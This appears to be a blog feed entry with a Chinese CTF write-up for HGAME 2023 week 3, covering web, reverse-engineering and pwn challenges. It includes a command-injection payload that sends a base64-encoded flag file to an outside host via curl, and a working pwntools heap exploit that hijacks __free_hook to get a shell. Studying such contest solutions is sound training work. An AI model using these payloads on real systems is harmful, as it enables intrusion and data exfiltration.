    <id>https://zqy.ink/2023/02/03/HGAME2023_wk3_wp/</id>
    <published>2023-02-03T00:53:42.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="Gopher-Shop"><a href="#Gopher-Shop" class="headerlink" title="Gopher Shop"></a>Gopher Shop</h3><p>条件竞争，用BurpSuite的TurboIntruder插件并发请求，先买苹果，然后卖出，使苹果数量下溢，再卖很多苹果就能拿到flag需要的钱了。</p><h3 id="Ping-To-The-Host"><a href="#Ping-To-The-Host" class="headerlink" title="Ping To The Host"></a>Ping To The Host</h3><p>命令注入，似乎过滤了空格和cat,tac,flag等字符串，payload:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.&amp;curl$&#123;IFS&#125;test.zqy.ink/`nl$&#123;IFS&#125;/fla*|base64`</span><br></pre></td></tr></table></figure><h2 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h2><h3 id="kunmusic"><a href="#kunmusic" class="headerlink" title="kunmusic"></a>kunmusic</h3><p>.NET程序，用dnspy逆，发现把程序资源中的data异或后作为程序集加载了，那就提取异或后再用dnspy逆，发现一堆约束方程，直接z3求解</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">data=open(&#x27;data&#x27;,&#x27;rb&#x27;)</span></span><br><span class="line"><span class="string">b=open(&#x27;output&#x27;,&#x27;wb&#x27;)</span></span><br><span class="line"><span class="string">for i in data.read():</span></span><br><span class="line"><span class="string">    b.write(long_to_bytes(i ^ 104))</span></span><br><span class="line"><span class="string">b.close()</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line">x=Solver()</span><br><span class="line">num=[<span class="number">0</span>]*<span class="number">13</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">13</span>):</span><br><span class="line">    num[i]=BitVec(<span class="string">f&#x27;num[<span class="subst">&#123;i&#125;</span>]&#x27;</span>,<span class="number">16</span>)</span><br><span class="line">    x.add(num[i]&gt;=<span class="number">0</span>)</span><br><span class="line">x.add(num[<span class="number">0</span>] + <span class="number">52296</span> + num[<span class="number">1</span>] - <span class="number">26211</span> + num[<span class="number">2</span>] - <span class="number">11754</span> + (num[<span class="number">3</span>] ^ <span class="number">41236</span>) + num[<span class="number">4</span>] * <span class="number">63747</span> + num[<span class="number">5</span>] - <span class="number">52714</span> + num[<span class="number">6</span>] - <span class="number">10512</span> + num[<span class="number">7</span>] * <span class="number">12972</span> + num[<span class="number">8</span>] + <span class="number">45505</span> + num[<span class="number">9</span>] - <span class="number">21713</span> + num[<span class="number">10</span>] - <span class="number">59122</span> + num[<span class="number">11</span>] - <span class="number">12840</span> + (num[<span class="number">12</span>] ^ <span class="number">21087</span>) == <span class="number">12702282</span> , num[<span class="number">0</span>] - <span class="number">25228</span> + (num[<span class="number">1</span>] ^ <span class="number">20699</span>) + (num[<span class="number">2</span>] ^ <span class="number">8158</span>) + num[<span class="number">3</span>] - <span class="number">65307</span> + num[<span class="number">4</span>] * <span class="number">30701</span> + num[<span class="number">5</span>] * <span class="number">47555</span> + num[<span class="number">6</span>] - <span class="number">2557</span> + (num[<span class="number">7</span>] ^ <span class="number">49055</span>) + num[<span class="number">8</span>] - <span class="number">7992</span> + (num[<span class="number">9</span>] ^ <span class="number">57465</span>) + (num[<span class="number">10</span>] ^ <span class="number">57426</span>) + num[<span class="number">11</span>] + <span class="number">13299</span> + num[<span class="number">12</span>] - <span class="number">50966</span> == <span class="number">9946829</span> , num[<span class="number">0</span>] - <span class="number">64801</span> + num[<span class="number">1</span>] - <span class="number">60698</span> + num[<span class="number">2</span>] - <span class="number">40853</span> + num[<span class="number">3</span>] - <span class="number">54907</span> + num[<span class="number">4</span>] + <span class="number">29882</span> + (num[<span class="number">5</span>] ^ <span class="number">13574</span>) + (num[<span class="number">6</span>] ^ <span class="number">21310</span>) + num[<span class="number">7</span>] + <span class="number">47366</span> + num[<span class="number">8</span>] + <span class="number">41784</span> + (num[<span class="number">9</span>] ^ <span class="number">53690</span>) + num[<span class="number">10</span>] * <span class="number">58436</span> + num[<span class="number">11</span>] * <span class="number">15590</span> + num[<span class="number">12</span>] + <span class="number">58225</span> == <span class="number">2372055</span> , num[<span class="number">0</span>] + <span class="number">61538</span> + num[<span class="number">1</span>] - <span class="number">17121</span> + num[<span class="number">2</span>] - <span class="number">58124</span> + num[<span class="number">3</span>] + <span class="number">8186</span> + num[<span class="number">4</span>] + <span class="number">21253</span> + num[<span class="number">5</span>] - <span class="number">38524</span> + num[<span class="number">6</span>] - <span class="number">48323</span> + num[<span class="number">7</span>] - <span class="number">20556</span> + num[<span class="number">8</span>] * <span class="number">56056</span> + num[<span class="number">9</span>] + <span class="number">18568</span> + num[<span class="number">10</span>] + <span class="number">12995</span> + (num[<span class="number">11</span>] ^ <span class="number">39260</span>) + num[<span class="number">12</span>] + <span class="number">25329</span> == <span class="number">6732474</span> , num[<span class="number">0</span>] - <span class="number">42567</span> + num[<span class="number">1</span>] - <span class="number">17743</span> + num[<span class="number">2</span>] * <span class="number">47827</span> + num[<span class="number">3</span>] - <span class="number">10246</span> + (num[<span class="number">4</span>] ^ <span class="number">16284</span>) + num[<span class="number">5</span>] + <span class="number">39390</span> + num[<span class="number">6</span>] * <span class="number">11803</span> + num[<span class="number">7</span>] * <span class="number">60332</span> + (num[<span class="number">8</span>] ^ <span class="number">18491</span>) + (num[<span class="number">9</span>] ^ <span class="number">4795</span>) + num[<span class="number">10</span>] - <span class="number">25636</span> + num[<span class="number">11</span>] - <span class="number">16780</span> + num[<span class="number">12</span>] - <span class="number">62345</span> == <span class="number">14020739</span> , num[<span class="number">0</span>] - <span class="number">10968</span> + num[<span class="number">1</span>] - <span class="number">31780</span> + (num[<span class="number">2</span>] ^ <span class="number">31857</span>) + num[<span class="number">3</span>] - <span class="number">61983</span> + num[<span class="number">4</span>] * <span class="number">31048</span> + num[<span class="number">5</span>] * <span class="number">20189</span> + num[<span class="number">6</span>] + <span class="number">12337</span> + num[<span class="number">7</span>] * <span class="number">25945</span> + (num[<span class="number">8</span>] ^ <span class="number">7064</span>) + num[<span class="number">9</span>] - <span class="number">25369</span> + num[<span class="number">10</span>] - <span class="number">54893</span> + num[<span class="number">11</span>] * <span class="number">59949</span> + (num[<span class="number">12</span>] ^ <span class="number">12441</span>) == <span class="number">14434062</span> , num[<span class="number">0</span>] + <span class="number">16689</span> + num[<span class="number">1</span>] - <span class="number">10279</span> + num[<span class="number">2</span>] - <span class="number">32918</span> + num[<span class="number">3</span>] - <span class="number">57155</span> + num[<span class="number">4</span>] * <span class="number">26571</span> + num[<span class="number">5</span>] * <span class="number">15086</span> + (num[<span class="number">6</span>] ^ <span class="number">22986</span>) + (num[<span class="number">7</span>] ^ <span class="number">23349</span>) + (num[<span class="number">8</span>] ^ <span class="number">16381</span>) + (num[<span class="number">9</span>] ^ <span class="number">23173</span>) + num[<span class="number">10</span>] - <span class="number">40224</span> + num[<span class="number">11</span>] + <span class="number">31751</span> + num[<span class="number">12</span>] * <span class="number">8421</span> == <span class="number">7433598</span> , num[<span class="number">0</span>] + <span class="number">28740</span> + num[<span class="number">1</span>] - <span class="number">64696</span> + num[<span class="number">2</span>] + <span class="number">60470</span> + num[<span class="number">3</span>] - <span class="number">14752</span> + (num[<span class="number">4</span>] ^ <span class="number">1287</span>) + (num[<span class="number">5</span>] ^ <span class="number">35272</span>) + num[<span class="number">6</span>] + <span class="number">49467</span> + num[<span class="number">7</span>] - <span class="number">33788</span> + num[<span class="number">8</span>] + <span class="number">20606</span> + (num[<span class="number">9</span>] ^ <span class="number">44874</span>) + num[<span class="number">10</span>] * <span class="number">19764</span> + num[<span class="number">11</span>] + <span class="number">48342</span> + num[<span class="number">12</span>] * <span class="number">56511</span> == <span class="number">7989404</span> , (num[<span class="number">0</span>] ^ <span class="number">28978</span>) + num[<span class="number">1</span>] + <span class="number">23120</span> + num[<span class="number">2</span>] + <span class="number">22802</span> + num[<span class="number">3</span>] * <span class="number">31533</span> + (num[<span class="number">4</span>] ^ <span class="number">39287</span>) + num[<span class="number">5</span>] - <span class="number">48576</span> + (num[<span class="number">6</span>] ^ <span class="number">28542</span>) + num[<span class="number">7</span>] - <span class="number">43265</span> + num[<span class="number">8</span>] + <span class="number">22365</span> + num[<span class="number">9</span>] + <span class="number">61108</span> + num[<span class="number">10</span>] * <span class="number">2823</span> + num[<span class="number">11</span>] - <span class="number">30343</span> + num[<span class="number">12</span>] + <span class="number">14780</span> == <span class="number">3504803</span> , num[<span class="number">0</span>] * <span class="number">22466</span> + (num[<span class="number">1</span>] ^ <span class="number">55999</span>) + num[<span class="number">2</span>] - <span class="number">53658</span> + (num[<span class="number">3</span>] ^ <span class="number">47160</span>) + (num[<span class="number">4</span>] ^ <span class="number">12511</span>) + num[<span class="number">5</span>] * <span class="number">59807</span> + num[<span class="number">6</span>] + <span class="number">46242</span> + num[<span class="number">7</span>] + <span class="number">3052</span> + (num[<span class="number">8</span>] ^ <span class="number">25279</span>) + num[<span class="number">9</span>] + <span class="number">30202</span> + num[<span class="number">10</span>] * <span class="number">22698</span> + num[<span class="number">11</span>] + <span class="number">33480</span> + (num[<span class="number">12</span>] ^ <span class="number">16757</span>) == <span class="number">11003580</span> , num[<span class="number">0</span>] * <span class="number">57492</span> + (num[<span class="number">1</span>] ^ <span class="number">13421</span>) + num[<span class="number">2</span>] - <span class="number">13941</span> + (num[<span class="number">3</span>] ^ <span class="number">48092</span>) + num[<span class="number">4</span>] * <span class="number">38310</span> + num[<span class="number">5</span>] + <span class="number">9884</span> + num[<span class="number">6</span>] - <span class="number">45500</span> + num[<span class="number">7</span>] - <span class="number">19233</span> + num[<span class="number">8</span>] + <span class="number">58274</span> + num[<span class="number">9</span>] + <span class="number">36175</span> + (num[<span class="number">10</span>] ^ <span class="number">18568</span>) + num[<span class="number">11</span>] * <span class="number">49694</span> + (num[<span class="number">12</span>] ^ <span class="number">9473</span>) == <span class="number">25546210</span> , num[<span class="number">0</span>] - <span class="number">23355</span> + num[<span class="number">1</span>] * <span class="number">50164</span> + (num[<span class="number">2</span>] ^ <span class="number">34618</span>) + num[<span class="number">3</span>] + <span class="number">52703</span> + num[<span class="number">4</span>] + <span class="number">36245</span> + num[<span class="number">5</span>] * <span class="number">46648</span> + (num[<span class="number">6</span>] ^ <span class="number">4858</span>) + (num[<span class="number">7</span>] ^ <span class="number">41846</span>) + num[<span class="number">8</span>] * <span class="number">27122</span> + (num[<span class="number">9</span>] ^ <span class="number">42058</span>) + num[<span class="number">10</span>] * <span class="number">15676</span> + num[<span class="number">11</span>] - <span class="number">31863</span> + num[<span class="number">12</span>] + <span class="number">62510</span> == <span class="number">11333836</span> , num[<span class="number">0</span>] * <span class="number">30523</span> + (num[<span class="number">1</span>] ^ <span class="number">7990</span>) + num[<span class="number">2</span>] + <span class="number">39058</span> + num[<span class="number">3</span>] * <span class="number">57549</span> + (num[<span class="number">4</span>] ^ <span class="number">53440</span>) + num[<span class="number">5</span>] * <span class="number">4275</span> + num[<span class="number">6</span>] - <span class="number">48863</span> + (num[<span class="number">7</span>] ^ <span class="number">55436</span>) + (num[<span class="number">8</span>] ^ <span class="number">2624</span>) + (num[<span class="number">9</span>] ^ <span class="number">13652</span>) + num[<span class="number">10</span>] + <span class="number">62231</span> + num[<span class="number">11</span>] + <span class="number">19456</span> + num[<span class="number">12</span>] - <span class="number">13195</span> == <span class="number">13863722</span>)</span><br><span class="line"></span><br><span class="line">num[<span class="number">1</span>] = <span class="number">72</span></span><br><span class="line">num[<span class="number">7</span>] = <span class="number">53</span></span><br><span class="line">num[<span class="number">11</span>] = <span class="number">93</span></span><br><span class="line">num[<span class="number">5</span>] = <span class="number">86</span></span><br><span class="line">num[<span class="number">10</span>] = <span class="number">15</span></span><br><span class="line">num[<span class="number">9</span>] = <span class="number">199</span></span><br><span class="line">num[<span class="number">12</span>] = <span class="number">133</span></span><br><span class="line">num[<span class="number">4</span>] = <span class="number">189</span></span><br><span class="line">num[<span class="number">0</span>] = <span class="number">236</span></span><br><span class="line">num[<span class="number">6</span>] = <span class="number">62</span></span><br><span class="line">num[<span class="number">3</span>] = <span class="number">106</span></span><br><span class="line">num[<span class="number">8</span>] = <span class="number">120</span></span><br><span class="line">num[<span class="number">2</span>] = <span class="number">213</span></span><br><span class="line"></span><br><span class="line">arr=[<span class="number">132</span>,<span class="number">47</span>,<span class="number">180</span>,<span class="number">7</span>,<span class="number">216</span>,<span class="number">45</span>,<span class="number">68</span>,<span class="number">6</span>,<span class="number">39</span>,<span class="number">246</span>,<span class="number">124</span>,<span class="number">2</span>,<span class="number">243</span>,<span class="number">137</span>,<span class="number">58</span>,<span class="number">172</span>,<span class="number">53</span>,<span class="number">200</span>,<span class="number">99</span>,<span class="number">91</span>,<span class="number">83</span>,<span class="number">13</span>,<span class="number">171</span>,<span class="number">80</span>,<span class="number">108</span>,<span class="number">235</span>,<span class="number">179</span>,<span class="number">58</span>,<span class="number">176</span>,<span class="number">28</span>,<span class="number">216</span>,<span class="number">36</span>,<span class="number">11</span>,<span class="number">80</span>,<span class="number">39</span>,<span class="number">162</span>,<span class="number">97</span>,<span class="number">58</span>,<span class="number">236</span>,<span class="number">130</span>,<span class="number">123</span>,<span class="number">176</span>,<span class="number">24</span>,<span class="number">212</span>,<span class="number">56</span>,<span class="number">89</span>,<span class="number">72</span>]</span><br><span class="line">a=<span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(arr)):</span><br><span class="line">    a+=<span class="built_in">chr</span>(arr[i]^num[i%<span class="built_in">len</span>(num)])</span><br><span class="line"><span class="built_in">print</span>(a)</span><br></pre></td></tr></table></figure><h3 id="patchme"><a href="#patchme" class="headerlink" title="patchme"></a>patchme</h3><p>栈溢出漏洞+格式化字符串漏洞，patch如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">.text:00000000000013E9                               main proc near                          ; DATA XREF: start+21↑o</span><br><span class="line">.text:00000000000013E9</span><br><span class="line">.text:00000000000013E9                               var_30= qword ptr -30h</span><br><span class="line">.text:00000000000013E9                               var_24= dword ptr -24h</span><br><span class="line">.text:00000000000013E9                               s= byte ptr -20h</span><br><span class="line">.text:00000000000013E9                               var_8= qword ptr -8</span><br><span class="line">.text:00000000000013E9</span><br><span class="line">.text:00000000000013E9                               ; __unwind &#123;</span><br><span class="line">.text:00000000000013E9 F3 0F 1E FA                   endbr64</span><br><span class="line">.text:00000000000013ED 55                            push    rbp</span><br><span class="line">.text:00000000000013EE 48 89 E5                      mov     rbp, rsp</span><br><span class="line">.text:00000000000013F1 48 83 EC 30                   sub     rsp, 30h</span><br><span class="line">.text:00000000000013F5 89 7D DC                      mov     [rbp+var_24], edi</span><br><span class="line">.text:00000000000013F8 48 89 75 D0                   mov     [rbp+var_30], rsi</span><br><span class="line">.text:00000000000013FC 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h</span><br><span class="line">.text:0000000000001405 48 89 45 F8                   mov     [rbp+var_8], rax</span><br><span class="line">.text:0000000000001409 31 C0                         xor     eax, eax</span><br><span class="line">.text:000000000000140B 8B 45 DC                      mov     eax, [rbp+var_24]</span><br><span class="line">.text:000000000000140E 89 05 14 2C 00 00             mov     cs:dword_4028, eax</span><br><span class="line">.text:0000000000001414 48 8B 45 D0                   mov     rax, [rbp+var_30]</span><br><span class="line">.text:0000000000001418 48 89 05 01 2C 00 00          mov     cs:qword_4020, rax</span><br><span class="line">.text:000000000000141F 48 8D 7D E0                   lea     rdi, [rbp+s]                    ; s</span><br><span class="line">.text:0000000000001423 BE 18 00 00 00                mov     esi, 18h                        ; n</span><br><span class="line">.text:0000000000001428                               db      2Eh                             ; stream</span><br><span class="line">.text:0000000000001428 2E 48 8B 15 E0 2B 00 00       mov     rdx, stdin</span><br><span class="line">.text:0000000000001430 90                            nop</span><br><span class="line">.text:0000000000001431 90                            nop</span><br><span class="line">.text:0000000000001432 90                            nop</span><br><span class="line">.text:0000000000001433 E8 08 FE FF FF                call    _fgets</span><br><span class="line">.text:0000000000001433</span><br><span class="line">.text:0000000000001438 48 8D 7D E0                   lea     rdi, [rbp+s]                    ; s</span><br><span class="line">.text:000000000000143C E8 7F FD FF FF                call    _puts</span><br><span class="line">.text:000000000000143C</span><br><span class="line">.text:0000000000001441 B8 00 00 00 00                mov     eax, 0</span><br><span class="line">.text:0000000000001446 48 8B 55 F8                   mov     rdx, [rbp+var_8]</span><br><span class="line">.text:000000000000144A 64 48 33 14 25 28 00 00 00    xor     rdx, fs:28h</span><br><span class="line">.text:0000000000001453 74 05                         jz      short locret_145A</span><br><span class="line">.text:0000000000001453</span><br><span class="line">.text:0000000000001455 E8 86 FD FF FF                call    ___stack_chk_fail</span><br><span class="line">.text:0000000000001455</span><br><span class="line">.text:000000000000145A                               ; ---------------------------------------------------------------------------</span><br><span class="line">.text:000000000000145A</span><br><span class="line">.text:000000000000145A                               locret_145A:                            ; CODE XREF: main+6A↑j</span><br><span class="line">.text:000000000000145A C9                            leave</span><br><span class="line">.text:000000000000145B C3                            retn</span><br><span class="line">.text:000000000000145B                               ; &#125; // starts at 13E9</span><br><span class="line">.text:000000000000145B</span><br><span class="line">.text:000000000000145B                               main endp</span><br></pre></td></tr></table></figure><h3 id="cpp"><a href="#cpp" class="headerlink" title="cpp"></a>cpp</h3><p>动调，跟着几个虚函数看一下，发现一处在异或，一处在比较（长度和内容）。把加密后的flag和与输入内容异或的key都dump下来，用脚本异或一下就行。注意程序似乎把char合并成了uint32_t，需要考虑端序</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">key=[<span class="number">0x4E</span>, <span class="number">0xA0</span>, <span class="number">0x37</span>, <span class="number">0x40</span>, <span class="number">0x46</span>, <span class="number">0x02</span>, <span class="number">0xDA</span>, <span class="number">0xFD</span>, <span class="number">0x21</span>, <span class="number">0xFA</span>,   <span class="number">0x6E</span>, <span class="number">0x3C</span>, <span class="number">0xAF</span>, <span class="number">0xD9</span>, <span class="number">0x9C</span>, <span class="number">0xCF</span>, <span class="number">0xB9</span>, <span class="number">0x47</span>, <span class="number">0x33</span>, <span class="number">0x67</span>,   <span class="number">0xE0</span>, <span class="number">0x4E</span>, <span class="number">0xEC</span>, <span class="number">0x0D</span>, <span class="number">0xD1</span>, <span class="number">0xC4</span>, <span class="number">0x80</span>, <span class="number">0x13</span>, <span class="number">0x32</span>, <span class="number">0xA9</span>,   <span class="number">0xB2</span>, <span class="number">0x3A</span>, <span class="number">0xA7</span>, <span class="number">0x50</span>, <span class="number">0x5D</span>, <span class="number">0x02</span>, <span class="number">0x82</span>, <span class="number">0x39</span>, <span class="number">0x4A</span>, <span class="number">0x83</span>]</span><br><span class="line">enc=[<span class="number">0x28</span>, <span class="number">0x50</span>, <span class="number">0xC1</span>, <span class="number">0x23</span>, <span class="number">0x98</span>, <span class="number">0xA1</span>, <span class="number">0x41</span>, <span class="number">0x36</span>, <span class="number">0x4C</span>, <span class="number">0x31</span>,   <span class="number">0xCB</span>, <span class="number">0x52</span>, <span class="number">0x90</span>, <span class="number">0xF1</span>, <span class="number">0xAC</span>, <span class="number">0xCC</span>, <span class="number">0x0F</span>, <span class="number">0x6C</span>, <span class="number">0x2A</span>, <span class="number">0x89</span>,   <span class="number">0x7F</span>, <span class="number">0xDF</span>, <span class="number">0x11</span>, <span class="number">0x84</span>, <span class="number">0x7F</span>, <span class="number">0xE6</span>, <span class="number">0xA2</span>, <span class="number">0xE0</span>, <span class="number">0x59</span>, <span class="number">0xC7</span>,   <span class="number">0xC5</span>, <span class="number">0x46</span>, <span class="number">0x5D</span>, <span class="number">0x29</span>, <span class="number">0x38</span>, <span class="number">0x93</span>, <span class="number">0xED</span>, <span class="number">0x15</span>, <span class="number">0x7A</span>, <span class="number">0xFF</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">40</span>,<span class="number">4</span>):</span><br><span class="line">    enc[i],enc[i+<span class="number">1</span>],enc[i+<span class="number">2</span>],enc[i+<span class="number">3</span>]=enc[i+<span class="number">3</span>],enc[i+<span class="number">2</span>],enc[i+<span class="number">1</span>],enc[i]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">40</span>):</span><br><span class="line">    enc[i]^=key[i]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">40</span>,<span class="number">4</span>):</span><br><span class="line">    enc[i],enc[i+<span class="number">1</span>],enc[i+<span class="number">2</span>],enc[i+<span class="number">3</span>]=enc[i+<span class="number">3</span>],enc[i+<span class="number">2</span>],enc[i+<span class="number">1</span>],enc[i]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">40</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(enc[i]),end=<span class="string">&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h2><h3 id="safe-note"><a href="#safe-note" class="headerlink" title="safe_note"></a>safe_note</h3><p>Unsorted bin泄露libc base和heap base，Tcache poisoning劫持free hook。注意glibc-2.32中Tcache链表的next指针是PROTECT_PTR，需要异或一下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#p=process(&#x27;./vuln&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;week-3.hgame.lwsec.cn&#x27;</span>,<span class="number">31243</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, size, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Size: &#x27;</span>,<span class="built_in">str</span>(size).encode())</span><br><span class="line"><span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span>:</span><br><span class="line">edit(idx,content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Content: &#x27;</span>,content <span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span> <span class="keyword">else</span> <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">    add(i,<span class="number">0x80</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">delete(<span class="number">6</span>-i)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">8</span>)</span><br><span class="line">edit(<span class="number">8</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">show(<span class="number">8</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)-<span class="number">1981440</span></span><br><span class="line">edit(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">info(<span class="string">&#x27;libc_base:&#x27;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line">libc.address=libc_base</span><br><span class="line"></span><br><span class="line">show(<span class="number">6</span>)</span><br><span class="line">heap=u64(p.recv(<span class="number">5</span>)+<span class="string">b&#x27;\x00\x00\x00&#x27;</span>)</span><br><span class="line">info(<span class="string">&#x27;heap:&#x27;</span>+<span class="built_in">hex</span>(heap))</span><br><span class="line">target=libc.sym[<span class="string">&#x27;__free_hook&#x27;</span>]^heap</span><br><span class="line">info(<span class="string">&#x27;target:&#x27;</span>+<span class="built_in">hex</span>(target))</span><br><span class="line">edit(<span class="number">0</span>,p64(target))</span><br><span class="line">add(<span class="number">10</span>,<span class="number">0x80</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">add(<span class="number">11</span>,<span class="number">0x80</span>,p64(libc.sym[<span class="string">&#x27;system&#x27;</span>]))</span><br><span class="line">delete(<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 